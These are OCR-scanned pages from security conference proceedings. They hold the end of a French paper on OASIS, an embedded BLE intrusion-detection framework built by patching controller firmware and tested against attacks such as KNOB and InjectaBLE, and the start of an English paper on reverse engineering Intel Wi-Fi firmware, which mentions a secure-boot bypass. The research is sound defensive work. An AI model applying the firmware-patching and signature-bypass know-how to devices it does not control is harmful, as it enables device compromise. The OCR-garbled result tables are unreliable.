Build system Une fois générée, la cible est fournie en entrée du build
system, avec les composants logiciels indépendants de la cible (par exemple,
le core et les modules de détection sélectionnés). Le build system est
composé d’un ensemble de scripts permettant de générer la liste finale
des patchs et blocs binaires (composés de données ou de code) qui seront
injectés dans la mémoire, en utilisant des outils standards tels que le
compilateur et 'assembleur GNU gcc.

Le build system exécute les étapes suivantes :

— compilation des modules de détection : chaque module sé-
lectionné est compilé de facon séparée, de fagon a générer le bloc
binaire correspondant.

— génération des callbacks des modules : pour chaque module
sélectionné, le build system dresse la liste des callbacks déclarés par
le module. Du code C est ensuite généré, contenant des pointeurs
de fonctions pour les callbacks associés a chaque événement, per-
mettant ainsi au Core de rediriger 'exécution au callback approprié
lors de 'occurrence d’un événement.

— génération des fonctions trampoline : pour chaque patch
nécessaire a l'instrumentation de la cible, le build system genere
une fonction trampoline qui sauvegarde le contexte d’exécution, le
restaure et exécute 'instruction qui a été ignorée.

— Compilation et édition des liens : I’ensemble du logiciel de
détection (le core, le wrapper, les modules de détection, le code C
généré pour les callbacks et les fonctions trampolines) est compilé
et I’édition des liens est réalisée. Un mécanisme de dépendances
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permet de ne compiler que les composants nécessaires si les modules
sélectionnés n’utilisent pas certains composants.

— Extraction des symboles : chaque symbole contenu dans le
binaire généré est extrait et stocké dans un fichier temporaire
contenant le nom du symbole, son adresse et sa valeur.

— génération des blocs binaires et patchs : la liste finale des blocs
binaires et patchs est générée, en utilisant les symboles extraits du
binaire (ou blocs binaires) et les patchs sélectionnées qui doivent
étre appliqués au firmware du controleur.

Patcher et monitor Lorsque la liste des patchs et blocs binaires est
générée, le framework peut les injecter en mémoire grace au patcher. Selon
le type de controleur utilisé, il peut utiliser un backend différent pour
exécuter le processus de patching : par exemple, les piles Broadcom et
Cypress sont instrumentées a l’aide d’InternalBlue [23], tandis que les piles
Zephyr et Nordic Semiconductors sont instrumentées a 1’aide d’openOCD.

De méme, le framework réutilise ces backends pour faciliter le débogage
et collecter les journaux et les alertes de détection. En utilisant la liste
des patchs et blocs binaires, le monitor est capable de mapper un symbole
donné a son adresse en mémoire, facilitant ainsi le débogage du logiciel de
détection.

4.4 Utilisation du framework

Le framework peut facilement étre utilisé ou étendu grace aux différents
composants présentés précédemment. Un workflow typique d’utilisation
comprend les étapes suivantes :

— Génération des fichiers propres a la cible (optionnel) : si les
fichiers propres a la cible n’existent pas (le framework est fourni avec
un ensemble de fichiers propres a différentes cibles), 'utilisateur
peut récupérer le firmware et utiliser le firmware analyzer pour
réaliser automatiquement sa rétro-ingénierie et générer les fichiers
correspondant a la cible.

— Sélection des modules de détection : 'utilisateur peut facile-
ment sélectionner les modules de détection qu’ils souhaite inclure
dans le logiciel final de détection, ou écrire ses propres modules
en utilisant du C standard. Les autres composants logiciels ne
nécessitent aucune modification si les caractéristiques collectées
sont suffisantes pour réaliser la détection.
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— Génération du logiciel de détection : I'utilisateur peut alors
exécuter le build system pour générer le logiciel de détection, et il
peut 'injecter en memoire a l'aide du patcher.

— Monitorer le logiciel de détection : l'utilisateur peut deboguer
le logiciel de détection ou collecter les journaux générés et les alertes
en utilisant le monitor.

5 Instrumentation des controleurs

Notre travail s’est concentré sur trois pile protocolaires BLE hétéro-
genes et communément utilisées : la pile développée par Broadcom/ Cypress,
embarquée dans de nombreuses puces Bluetooth développées par ces
constructeurs, le SoftDevice de Nordic SemiConductors, principalement
embarqué dans leur gamme de puces destinées a 'loT nRF51 et nRF52,
ainsi que la pile protocolaire BLE inclue dans le systeme d’exploitation
embarqué et open-source Zephyr.

Dans cette section, nous présentons brievement le fonctionnement des
piles protocolaires propriétaires, ces derniéres ayant nécessité un effort
conséquent de rétro-ingénierie, ainsi que la stratégie appliquée pour les
instrumenter. Une illustration globale de ces stratégies est présentée en
figure 3. Pour chaque pile protocolaire analysée, nous avons procédé a une
rétro-ingénierie partielle d’'un ensemble représentatif de firmwares implé-
mentant la pile concernée. Cela nous a permis d’identifier I’architecture
logicielle, I'implémentation des caractéristiques nécessaires a la détection
et détaillées en section 3.3, ainsi que I’agencement mémoire.

5.1 Controéleurs Bluetooth de Broadcom et Cypress

Les puces Bluetooth produites par Broadcom et Cypress reposent sur
I'utilisation d’une pile protocolaire propriétaire basée sur I’OS temps réel
ThreadX. Les puces concernées, basées sur un processeur ARM Cortex
M3, sont particulierement répandues et sont embarquées dans de tres
nombreux équipements, tels que des smartphones (Nexus 5, Samsung
Galaxy S10/S20...), des ordinateurs (Raspberry Pi...) ou des objets
connectés (FitBit Charge...). Bien que ces puces soient peu documentées,
plusieurs travaux importants dans la communauté sécurité [15, 16, 23] ont
partiellement documenté leur fonctionnement. Nous nous concentrons ici
uniquement sur I'implémentation du protocole BLE, ces puces supportant
également le Bluetooth BR/EDR.

Les fonctionnalités BLE sont implémentées comme des taches, repré-
sentant un état spécifique de I’équipement (tel que connezion, scan, etc).
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Fig. 3. Intégration du logiciel embarqué dans les piles protocolaires propriétaires

Une tache est composée d’un ensemble de fonctions liées & un événement
spécifique, tel que 'initialisation de la tache, la réception ou la transmission
d’un paquet, listées dans un tableau de callbacks. Les taches sont gérées
par un composant logiciel nommé Bluetooth Core Scheduler, permettant
de démarrer, stopper et ordonnancer les différentes taches en cours. Nous
avons instrumenté les fonctions liées a l'initialisation et au traitement des
paquets de chaque tdche BLE, nous permettant d’analyser les paquets
transmis et recus en temps réel tout en nous permettant d’identifier le role
GAP utilisé. Nous avons également extrait de certaines fonctions destinées
a la configuration du composant radio les adresses des structures utilisées
pour stocker des caractéristiques pertinentes, telles que les parametres de
connexion ou l'adresse BD de I’équipement.

Un thread dédié gere les opérations de haut niveau, et notamment
la gestion de l'interface HCI. Chaque commande HCT est traitée par le
thread et entraine ’exécution d’une fonction spécifique, stockée dans un
tableau de pointeurs de fonctions indexé par 1’opcode de la commande. Les
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évenements HCI sont générés par 'intermédiaire d’une fonction permettant
I’allocation et l'initialisation du buffer d’événement, tandis qu’une autre
fonction permet sa transmission a I’héte. Nous avons instrumenté le thread
de traitement des commandes, nous permettant d’injecter des commandes
arbitraires afin de déclencher des opérations haut niveau, ainsi que les
fonctions de gestion des événements, que nous avons détournées afin de
construire notre systeme de journalisation destiné a transmettre les alertes
a I’hote.

Le firmware est stocké dans la ROM, mais les fabriquants ont intégré
un mécanisme nommé PatchRam destiné a ’application de correctifs :
une zone mémoire spécifique stockée en RAM peut étre utilisée pour
appliquer un nombre limité de modifications du firmware en ROM. Les
correctifs du fabriquant sont écrits dans une zone dédiée de la RAM,
puis une instruction spécifique du firmware original est modifiée pour
rediriger le flot d’exécution vers la fonction mise & jour en RAM. Ces
mécanismes peuvent étre déclenchés a l’aide de commandes HCI non
standards (dites vendor-specific), nous permettant de facilement détourner
le processus de mise a jour pour patcher le firmware existant et intégrer
notre propre code en mémoire. Le code et les données du logiciel de
détection embarqué sont injectés dans la zone de RAM dédiée aux patchs
constructeurs, tandis que le mécanisme PatchRam est utilisé pour altérer
certaines instructions du firmware dans la ROM pour mettre en place nos
hooks. L’outil InternalBlue [23] facilite considérablement ce processus et
est utilisé comme backend par notre framework pour patcher et monitorer
ces puces.

5.2 SoftDevice de Nordic SemiConductors

Nordic SemiConductors a congu un controleur propriétaire spécifique
pour ses puces BLE (notamment les familles nRF51 et nRF52, basées sur
des processeurs ARM), nommé SoftDevice. Ces puces sont communément
utilisées pour le développement d’objets connectés, et de multiples versions
du SoftDevice ont été développées et sont utilisées au sein de I’écosysteme
IoT.

Le SoftDevice est fourni par le constructeur sous la forme d’un binaire,
chargé dans les parties basses de la ROM. L’application utilisateur, quant
a elle, est chargée dans les parties supérieures de la ROM, et communique
avec le SoftDevice a I'aide d’'une API propriétaire non standard basée sur
des appels superviseurs (ou Supervisor calls). Une application typique
initialise le SoftDevice, configure les fonctionnalités BLFE souhaitées et
surveille les événements générés par le SoftDevice en appelant une fonction
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spécifique au sein d’une boucle infinie. Le SoftDevice est en charge des
opérations bas niveau : une fonction de traitement des paquets est appelée
a chaque interruption radio lors de la réception ou de la transmission
d’un paquet, identifiant ’état courant de la radio et le role GAP par
I'intermédiaire de variables et structures internes. Nous avons également
identifié un ensemble de fonctions de configurations destinées & stocker
des caractéristiques telles que les parameétres de connexion au sein de
structures internes du SoftDevice.

Nous avons instrumenté la fonction de traitement des paquets ainsi
que les fonctions de configuration radio au sein du SoftDevice, et extrait
diverses caractéristiques des structures internes précédemment identifiées.
La fonction utilisée par 'application pour collecter les évenements générés
par le SoftDevice a également été instrumentée, nous permettant de
générer le bon appel superviseur pour intéragir avec le SoftDevice quand
nous devons déclencher une action de haut niveau. Nous avons également
instrumenté le point d’entrée de l'application, nous permettant d’exécuter
notre routine d’initialisation destinée & initialiser la mémoire et a configurer
un timer pour faciliter les opérations de gestion du temps.

La stratégie permettant de patcher le firmware et d’injecter notre
code et nos données en mémoire est basée sur la modification du binaire
du firmware. Les instructions du firmware & patcher sont modifiées dans
le binaire lui méme, puis le code et la mémoire de notre logiciel de
détection embarqué sont insérés & la suite du firmware initial. Nous
altérons également le vecteur d’interruption afin d’introduire une valeur
d’initialisation du pointeur de pile plus basse, nous permettant de réserver
une zone dédiée de la RAM afin d’éviter de potentiels conflits entre la
mémoire utilisée par le logiciel de détection embarqué et celle utilisée par
le SoftDevice et 'application. Le firmware modifié est chargé dans la ROM
de la puce par I'intermédiaire d’openOCD, puis la zone correspondant aux
données du logiciel de détection embarqué est copiée de la ROM a la zone
de RAM réservée par la routine d’initialisation.

6 Expérimentations

Nous avons effectué différentes expériences pour évaluer notre approche
de détection. Pour chaque attaque, nous avons implanté le module de
détection correspondant sur plusieurs puces et généré du trafic légitime et
malveillant dans un environnement réaliste pour estimer les performances
de détection. Chaque expérience a été réalisée dans des conditions simi-
laires, toutes les cartes embarquant le logiciel de détection étant connectées



178 QOasis

a une passerelle centrale collectant les résultats de la détection tout en
générant régulierement les attaques et le trafic légitime.

6.1 Conditions expérimentales

Cibles
Ra|Ne|Ga|D1
GATTacker| v | vV
BTLEJuice v
Jamming |V |V
KNOB v
InjectaBLE| v/
BTLEJack v

NN NN
NN N NN

Tableau 1. Cibles utilisées par expérience

Nos expériences ont été menées sur cing cibles différentes : une carte
Raspberry Pi 3+ (équipée d’un controleur BCM4345C0), un smartphone
Nexus 5 (équipé d’un controleur BCM4339), un porte-clés intelligent Ga-
blys (équipé d’un controleur nRF51822), une carte de développement IoT
de Cypress (équipée d’un controleur CYW20735), une carte de développe-
ment nRF de Nordic Semiconductor (équipée d’un contréleur nRF51422)
intégrant divers exemples issus du SDK (par exemple, Scanner et Per-
ipheral). Ces cibles sont respectivement appelées Ra, Ne, GA, D1, D2
dans le tableau 1. Pour chaque expérience, les cibles ont été sélectionnées
en fonction de leur prise en charge des réles requis par nos modules de
détection.

Expérience 1 - Gattacker Les attaques ont été menées a l'aide de deux
dongles HCI et du framework offensif Mirage [14] (module ble__mitm). Les
attaques ciblent une ampoule connectée, située a deux metres des cartes
utilisées pour la détection. Nous avons réalisé 250 attaques, d’une durée
aléatoire comprise entre 10 et 30 secondes. Chaque attaque était suivie
d’une période de 30 secondes sans attaque, ce qui correspond donc a 250
périodes de trafic légitime. La détection étant basée sur le réle Scanner,
chaque carte de détection a été configurée pour effectuer une opération de
scan pendant toute I'expérience.

Expérience 2 - BTLEJuice Nous avons effectué les attaques a ’aide de
deux dongles HCI et du framework offensif Mirage [14] (module ble_mitm)
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visant les cibles elles-mémes. De méme, nous avons généré des connexions
légitimes représentant le trafic légitime a ’aide du module ble _master de
Mirage. Chaque attaque dure un temps aléatoire entre 10 et 30 secondes,
tandis que chaque connexion légitime est effectuée pendant 5 secondes.
La détection étant basée sur 'utilisation d’un réle Peripheral pouvant
simultanément maintenir la connexion et scanner les canaux d’advertising,
nous avons sélectionné des cibles supportant ces contraintes.

Expérience 3 - Jamming L’attaque est menée a I’aide d'un HackRF one
transmettant des données aléatoires sur la fréquence utilisée par I'un des
trois canaux d’advertising (utilitaire hackrf_transfer). Nous avons effectué
250 attaques, ciblant un canal d’advertising choisi au hasard pendant
une durée aléatoire comprise entre 10 et 30 secondes. Chaque attaque
est suivie d’une période de 30 secondes sans attaque, correspondant aux
phases de trafic 1égitime. Une ampoule connectée était présente pendant
toute I’expérience dans ’environnement. La stratégie de détection étant
basée sur le role Scanner, chaque cible a été configurée pour effectuer une
opération de scan pendant toute I’expérience.

Expérience 4 - KNOB A notre connaissance, il n’existe aucune implé-
mentation de cette attaque over the air, la preuve de concept présentée
dans l'article original étant implémentée sous la forme d’un patch Internal-
Blue destiné a imiter le comportement de I'attaque. Nous avons développé
notre propre implémentation over-the-air en modifiant le framework Mi-
rage pour permettre la transmission d’'une Pairing Request incluant une
valeur arbitraire du champ MaxKeySize. Chaque cible simulait un role
Peripheral.

Expérience 5 - InjectaBLE L’attaque nécessite de sniffer une connexion,
ce qui est une tache non triviale [12,26], et peut parfois échouer en raison
d’une désynchronisation du sniffer. Par conséquent, la réalisation d’une
expérience entierement automatisée pourrait conduire a des résultats in-
valides (I’échec de l'attaque étant considéré comme un faux négatif, par
exemple). Nous avons donc choisi de surveiller manuellement ’expérience :
cela nous a permis de contrdler le succes de l'injection mais a impacté le
nombre d’attaques qui pouvaient étre réalisées dans un délai raisonnable.
Nous avons effectué 100 attaques (soit 100 injections réussies lors d’une
connexion) et simulé 100 comportements légitimes (c’est-a-dire 100 trans-
missions de paquets légitimes lors d’une connexion, avec différents types
et longueurs de paquets) par cible.



180 QOasis

Expérience 6 - BTLEJack Comme pour InjectaBLE, 'attaque BT-
LEJack nécessite de sniffer une connexion et s’appuie sur une stratégie
de jamming, ce qui entraine un risque important de désynchronisation
ou d’échec de 'attaque. En conséquence, nous avons également choisi de
surveiller manuellement ’expérience pour controler le succes de 'attaque.
Nous avons effectué 100 attaques pour chaque cible, une attaque étant
définie comme une connexion qui a été interrompue avec succes par BT-
LEJack. Nous avons également effectué 100 connexions légitimes par cible
(c’est-a-dire une connexion sans attaque). Chaque cible simulait un role
Central, se connectant a répétition a ’ampoule connectée.

6.2 Résultats des expériences

Pour chaque expérience réalisée, nous avons calculé le nombre de vrais
positifs (i.e. alerte de détection levée lors d’une séquence d’attaque, notée
TP), de faux positifs (i.e. alerte de détection levée lors d’une séquence
légitime, notée FP), de vrais négatifs (i.e. pas d’alerte de détection lors
d’une séquence légitime, notée T'N) et faux négatifs (i.e. pas d’alerte de
détection lors d’une séquence d’attaque, notée F'N) par cible. Nous avons
également calculé le rappel (ou Recall) et la précision a l'aide des formules
suivantes :

TP . TP
Recall = TPLFN Precision = TP+ FP

Les résultats de chaque expérience sont répertoriés dans le tableau 2.
Différentes observations peuvent étre faites a partir de ces résultats. Tout
d’abord, nous pouvons souligner que nos stratégies de détection sont
pertinentes pour détecter avec succes les attaques, comme l'illustrent les
tres bonnes valeurs de rappel que nous avons obtenues (comprises entre
0,9 et 1,0). Nous soulignons que ces expériences ayant été menées en
conditions réalistes, les résultats associés peuvent étre considérés comme
représentatifs d’un véritable attaquant utilisant des outils standards.

De méme, les bonnes valeurs de précision, toutes comprises entre 0,87
et 1,0, prouvent que nos stratégies de détection ne génerent qu’une tres
faible quantité de faux positifs. De plus, quatre de nos six expériences
présentent une valeur de précision égale a 1,0 pour chaque cible testée.
Les stratégies de détection qui ne reposent que sur la surveillance passive
des advertising (ex. GATTacker et Jamming) générent un peu plus de
faux positifs : cette situation s’explique par le fait qu’elles doivent calculer
des estimations qui peuvent étre impactées par certains changements
d’environnement inhérents a ces canaux intensivement utilisés.
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Enfin, nous pouvons souligner que les résultats d’une expérience don-
née sont globalement homogenes pour chaque cible testée. Cela montre que
nos modules de détection sont, comme prévu, indépendants des implémen-
tations sous-jacentes du wrapper. Méme si certaines de nos stratégies ne
peuvent pas étre implémentées systématiquement sur toutes les cibles en
raison des exigences du role, ces expérimentations démontrent également
que ces stratégies de détections peuvent étre implémentées sur différents
types d’équipements, dont un smartphone, un Raspberry Pi et un objet
connecté du commerce avec des ressources limitées.

Expérience |Cible||TP |FP|TN|FN||Recall|Precision
Ra 25010 |250 |0 1.0 1.0
Ne 2500 |250 |0 1.0 1.0
GATTacker|ylosolo [250]0 |10 |1.0
D2 250019 |231 |0 1.0 0.93
Ga 245|0 |250 |5 0.98 1.0
BTLEJuice |D1 239|0 |250 (11 ||0.96 1.0
D2 25010 |250 |0 1.0 1.0
Ra 23819 [241 (12 ||0.95 0.96
Jamming |Ne 25013 |237 |0 1.0 0.95
D1 247113 |237 |3 0.99 0.95
D2 250139 (211 |0 1.0 0.87
Ga 2470 |250 |3 0.99 1.0
KNOB D1 2500 |250 |0 1.0 1.0
D2 2490 |250 |1 0.99 1.0
Ra 99 10 100 |1 0.99 1.0
InjectaBLE |D1 1000 |100 |0 1.0 1.0
D2 94 |0 |100 |6 0.94 1.0
Ne 95 |0 100 |5 0.95 1.0
BTLEJack ) lgg o |100]2 [|0.908 |10

Tableau 2. Résultats des expériences

7 Discussions

Dans cet article, nous avons concentré notre travail sur les attaques
bas niveau, qui sont d’une part difficiles a détecter sur les équipements,
et pour lesquelles il est difficile d’intégrer des mécanismes de protection
d’autre part, méme en les prévoyant des leur conception. Cependant, notre
approche peut étre facilement appliquée a tout type d’attaques actives
ciblant le protocole Bluetooth Low Energy (BLE). En effet, implémenter
des heuristiques de détection au niveau le plus bas accessible par logiciel
permet a la fois de détecter les attaques de bas niveau mais est également
pertinent pour détecter les attaques visant les couches supérieures ou étant
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liées & une implémentation vulnérable spécifique, cette approche donnant
acces a tout le trafic regu et transmis par le nceud.

Plus important encore, nous considérons également que notre approche
est suffisamment générique pour étre étendue a d’autres protocoles de
communication sans fil couramment utilisés par les équipements loT), tels
que Zigbee ou ShockBurst. En effet, les contraintes lies a ce type de pro-
tocoles, telles que la dynamicité de I’environnement et I’absence de nceud
central, sont effectivement résolues par une détection embarquée effectuée
directement par les noeuds eux-mémes. De méme, I'instrumentation des
couches les plus basses permet ’acces a un grand nombre de caractéris-
tiques, permettant de construire des modules de détection efficaces pour
différents types d’attaques. D’autre part, le fait que nous ayons réussi a
implémenter une telle approche pour le protocole BLE, qui fournit de
nombreuses fonctionnalités et utilise des mécanismes complexes tels que le
saut de canal, est encourageant pour implémenter une telle stratégie sur
un protocole sans fil plus simple. Ainsi, nous sommes convaincus que la
méthodologie appliquée pour construire nos modules de détection, basée
sur I'analyse de I'impact de I’attaque sur les fonctionnalités de bas niveau,
peut également étre généralisée a d’autres technologies sans fil.

Certaines limites et défis liés a cette approche doivent également
étre soulignés. Tout d’abord, la mise en place de la détection sur des
neeuds locaux complique la collecte des alertes, surtout si ces alertes
doivent remonter vers un SOC unique. Cependant, ce probléme peut
étre résolu en établissant un canal de communication sécurisé dédié a la
signalisation des alertes entre un noeud de surveillance central et les noeuds
locaux détectant le trafic malveillant. Un tel canal pourrait également
étre utilisé pour permettre aux nocuds de partager des connaissances sur
les menaces détectées ou coordonner des algorithmes de détection plus
complexes impliquant plusieurs équipements. Dans une perspective de
généralisation de cette conception de détection a d’autres protocoles sans
fil, les techniques de Cross Technology Communications serait une solution
prometteuse pour établir un canal de communication sécurisé entre des
équipements locaux intégrant des protocoles sans fil hétérogenes.

Une autre limitation est liée a la nécessité d’écrire du code spécifique
pour chaque cible embarquant des piles protocolaires hétérogenes. Lorsque
I'implémentation est propriétaire, ce qui est une situation courante, elle
nécessite également d’effectuer une rétro-ingénierie de la pile pour com-
prendre et instrumenter ses fonctions internes. Cette situation a motivé
le design générique et modulaire de notre framework ainsi que le déve-
loppement d’outils de rétro-ingénierie automatisés, destinés a faciliter ces
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taches complexes. On peut cependant noter le nombre croissant d’im-
plémentations open source de piles protocolaires (par exemple Zephyr
ou NimBLE). De plus, certains fabricants pourraient également choisir
d’intégrer les modules de détection directement dans leur pile propriétaire :
nous avons en effet démontré que 'approche était suffisamment légere
pour étre embarquée avec succes au sein d’objets connectés aux ressources
trés limitées.

8 Conclusion

Dans cet article, nous avons présenté une nouvelle approche de détec-
tion embarquée pour le protocole BLE, basée sur I'instrumentation des
couches les plus basses de la pile (sur le contréleur lui méme). Nous avons
démontré la faisabilité et la pertinence de cette approche embarquée en
menant plusieurs expérimentations en conditions réalistes sur différentes
cibles, dont un smartphone et des objets connectés aux ressources limitées,
représentatifs de I’hétérogénéité des objets embarquant cette technologie
sans fil. Nous avons réussi a détecter jusqu’a six attaques bas niveau
critiques, incluant diverses attaques liées au mode connecté qui étaient
particulierement difficiles a détecter avec les stratégies existantes.

Nous fournissons également un framework modulaire, générique et
facile d’utilisation permettant d’instrumenter divers controleurs BLE,
adaptés a la collecte de caractéristiques de détection de bas niveau et publié
en open source.* Nous considérons que ce framework est une contribution
importante & la communauté sécurité, car il fournit un moyen simple
d’instrumenter les contréleurs BLE, et pourrait faciliter les travaux de
recherche dans divers domaines tels que la recherche de vulnérabilités ou
la détection d’intrusion.

Comme travaux futurs, nous prévoyons d’améliorer notre framework
pour inclure de nouveaux types de contréleurs et ’étendre a d’autres
protocoles de communication sans fil, tels que Zigbee ou ShockBurst. Nous
prévoyons d’explorer la faisabilité de la construction d’'un systéme de
détection d’intrusion coopératif, utilisant un ensemble de noeuds décen-
tralisés capables de coopérer ensemble, qui communiquent & ’aide d’un
canal de communication sans fil sécurisé. Nous pensons également que
notre approche pourrait étre pertinente dans une stratégie de prévention
d’intrusion, en exploitant les capacités d’instrumentation de notre logi-
ciel embarqué pour prévenir des attaques, par exemple en provoquant la
terminaison une connexion malveillante.

4 Dépot GitHub : https://github.com/RCayre/oasis
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Abstract. Wi-Fi replaced Ethernet and became the main network pro-
tocol on laptops for the last few years. Software implementations of the
Wi-Fi protocol naturally became the targets of attackers, and vulnera-
bilities found in Wi-Fi drivers were exploited to gain control of the OS,
remotely and without any user interaction. However, not much research
has been published on Wi-Fi firmware, outside of Broadcom models.
This article presents the internals of an Intel Wi-Fi chip. This study,
mostly conducted through reverse engineering, led to the discovery of
vulnerabilities such as arbitrary code execution on the chip and secure
boot bypass, which were reported to the manufacturer.

1 Introduction

1.1 How we met the Intel Wi-Fi chip

One day in January 2021, Gabriel tried to browse a web application
hosted by his laptop using his smartphone. This operation seems simple,
but that day, it made his laptop disconnect from the Wi-Fi network, and
this was reproducible. As this was quite annoying, he opened his kernel
log (listing 1).

iwlwifi 0000:01:00.0: Start IWL Error Log Dump:
iwlwifi 0000:01:00.0: Status: 0x00000100, count: 6
iwlwifi 0000:01:00.0: Loaded firmware version: 34.0.1
iwlwifi 0000:01:00.0: 0x00000038 | BAD_COMMAND
iwlwifi 0000:01:00.0: Start IWL Error Log Dump:
iwlwifi 0000:01:00.0: Status: 0x00000100, count: 7

iwlwifi 0000:01:00.0: 0x00000070 | ADVANCED_SYSASSERT

iwlwifi 0000:01:00.0: 0x004F01A7 | last host cmd
ieee80211 phyO0: Hardware restart was requested

Listing 1. Messages appearing in Linux kernel log while requesting a web page

The failed assertion (line 8) indicated an issue in the firmware of the
Wi-Fi chip. This issue was easy to reproduce and only occurred when both



188 Ghost in the Wireless, iwlwifi edition

the smartphone and the laptop were connected to the same Wi-Fi access
point. Why is this happening? Can it be exploited, for example to run
arbitrary code on the Wi-Fi chip?

This event started an adventure in the internals of Intel Wi-Fi chips.
As the interactions between a kernel module and a hardware component
can be very complex, the first step was to better understand the Linux
kernel module driving the chip. This work quickly led to the code actually
loaded on the chip. Nicolas then joined the adventure and developed some
tooling, as using IDA disassembler felt too rudimentary. Analyzing the
code led to the discovery of a simple vulnerability enabling arbitrary code
execution on the Wi-Fi chip.

As the chip was quite old, we also experimented on a more recent
laptop, with a more recent Wi-Fi chip. The differences between the chips
are presented in figure 1. We did not find the same vulnerability on this
chip, and both chips included a mechanism preventing modified firmware
from being loaded (by verifying a digital signature). So at first we did not
have any way to run arbitrary code on this newer chip.

First chip Second chip
. Intel Dual Band .
Hardware device Wireless AC 8260 Intel Wireless-AC 9560 160MHz
Launch date Q2 2015 Q4 2017
Firmware file iwlwifi-8000C-34.ucode|iwlwifi-9000-pu-b0-jf-b0-46.ucode
Firmware version 34.0.1 46.6£9f215¢.0

Intel website resources: https://www.intel.com/content/www/us/en/products/
sku/86068/intel-dual-band-wirelessac-8260/specifications.html and
https://www.intel.com/content/www/us/en/products/sku/99446/intel-
wirelessac-9560/specifications.html

Fig. 1. Differences between the two studied Wi-Fi chips

Both Wi-Fi chips expose a rich interface to the Linux kernel. Using
it, we managed to dump the code which actually verifies the firmware
signature. Analyzing this code quickly led to the discovery of a simple
signature verification bypass on the first studied chip. Unfortunately this
bypass did not work on the newer chip, even though the root cause of the
issue did not appear to be fixed. After some weeks, we found a way to
bypass the signature verification on the newer Wi-Fi chip too.

Being able to run arbitrary code on the chip enabled us to gain
a more precise understanding of its working. For example, the Wi-Fi
firmware is too large to fit in the memory of the chip and a mechanism is


https://www.intel.com/content/www/us/en/products/sku/86068/intel-dual-band-wirelessac-8260/specifications.html
https://www.intel.com/content/www/us/en/products/sku/86068/intel-dual-band-wirelessac-8260/specifications.html
https://www.intel.com/content/www/us/en/products/sku/99446/intel-wirelessac-9560/specifications.html
https://www.intel.com/content/www/us/en/products/sku/99446/intel-wirelessac-9560/specifications.html
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implemented to store code and data in the main system memory. This is
what Intel calls the Paging Memory in the source code of the Linux kernel
module. The content of this memory has to be authenticated in some
way, to prevent an attacker on the main operating system from modifying
it. In practice, the firmware seems to use a hardware-assisted universal
message authentication code to ensure the integrity of each page in this
Paging Memory. The details of this mechanism do not seem to be publicly
documented anywhere, even though they are key to ensure the security of
the chip.

1.2 State of the art and contributions

The first public remote exploits against Wi-Fi were presented in 2007 [9].
The exploited vulnerabilities were found in Linux kernel modules thanks
to fuzzing. These modules being open-source and their code quality quite
low, multiple vulnerabilities were found in the Wi-Fi kernel modules of
major network cards manufacturers. Public analysis of Wi-Fi firmware
wasn’t a thing at that time, probably because the attack surface of kernel
modules was sufficient for attackers to gain access to a remote computer.

In 2010 [8], the reverse engineering of an Ethernet network card
firmware led to the discovery of vulnerabilities in the ASF protocol im-
plementation. The researchers successfully gained control of this network
card, remotely.

In 2012 [4], the firmware of an Ethernet Broadcom chip was reverse
engineered and modified to include a debugger and eventually a backdoor.
Broadcom’s Ethernet and Wi-Fi firmware aren’t encrypted or signed and
can thus be patched, allowing dynamic analysis. Public datasheets also
help analysis [3, 7]. Vulnerabilities in Broadcom’s Wi-Fi chipsets were
found and exploited in 2017 [2].

In this article, we’ll present the internals of Intel Wi-Fi chips, gained
through the reverse engineering of the associated firmware. While the
firmware source code isn’t available, the Linux kernel module interacting
with these PCI chips is open source and is of great help. Links to the Linux
kernel sources are specific to the version 5.11 in order to have permalinks.

The main contributions of this article are:

— The publication of an Intel Wi-Fi firmware parsing tool,

— Reverse engineering of Intel Wi-Fi firmware,

— Internals of these firmware,

— Exploitation of vulnerabilities in the secure-boot mechanisms,

— Publication of on-chip instrumentation, tracing and debugging

tools.
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2 Finding the firmware code

2.1 Discovering iwlwifi

When studying a hardware component such as the Intel Wi-Fi chip,
one of the first things to do is to identify which one it is: its model name,
revision number, etc. On a laptop which was used to perform experiments,
the kernel log indicated the presence of an Intel Wireless-AC 9560 chip
handled by iwlwifi, the Linux kernel module for Intel Wireless Wi-Fi
(listing 2).

iwlwifi 0000:00:14.3: Detected Intel(R) Wireless-AC 9560 160MHz,
REV=0x318

Listing 2. Extract of kernel log showing information about the Wi-Fi chip

In practice, four kernel modules are used to implement the Wi-Fi
feature with this chip, in Linux 5.11:

— iwlwifi! handles the hardware interface (through the PCle bus)

with the chip.

— iwlmvm? implements some higher-level interface to the firmware of
chips using MVM (which seems to be an acronym for multi-virtual
MAC).

— mac802113 implements a IEEE 802.11 (Wi-Fi) networking stack
in Linux.

— cfg80211% provides a configuration interface to user-space pro-
grams.

The modules iwlwifi and iwlmvm support many versions of Intel
Wi-Fi chips. To identify which version is used, these modules use the PCI
device ID. The studied chip uses a PCI device ID 9d£0 (listing 3), which
is mapped to a structure named iwl19560_trans_cfg in iwlwifi.’

$ lspci -nn -s 00:14.3
00:14.3 Network controller [0280]: Intel Corporation Cannon Point-LP
CNVi [Wireless-AC] [8086:9df0] (rev 30)

Listing 3. Requesting the PCI device ID using Ispci

! https://elixir.bootlin.com/linux/v6.11/source/drivers/net/wireless/
intel/iwlwifi

2 https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/
intel/iwlwifi/mvm

3 https://elixir.bootlin.com/linux/v5.11/source/net/mac80211

4 https://elixir.bootlin.com/linux/v5.11/source/net/wireless

® https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/
intel/iwlwifi/pcie/drv.c#L463


https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/intel/iwlwifi
https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/intel/iwlwifi
https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/intel/iwlwifi/mvm
https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/intel/iwlwifi/mvm
https://elixir.bootlin.com/linux/v5.11/source/net/mac80211
https://elixir.bootlin.com/linux/v5.11/source/net/wireless
https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/intel/iwlwifi/pcie/drv.c#L463
https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/intel/iwlwifi/pcie/drv.c#L463
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To communicate with the chip, iwlwifi configures the first
Base Address Register (BAR) of the PCle interface, using functions
pcim_iomap_regions_request_all and pcim_iomap_table.6 This is a
standard way of communicating with a PCle chip using Memory-Mapped
Input/Output (MMIO). After configuring this interface, the kernel module
uses it to retrieve some hardware revision information. Then, at some
point, the function iwl_request_firmware”’ tries to load a file named
iwlwifi-9000-pu-b0-jf-b0-{API}.ucode® where {API} is a number
identifying the interface version of the firmware. At the time of the study,
the Linux firmware repository ? contained 6 such files, with numbers be-
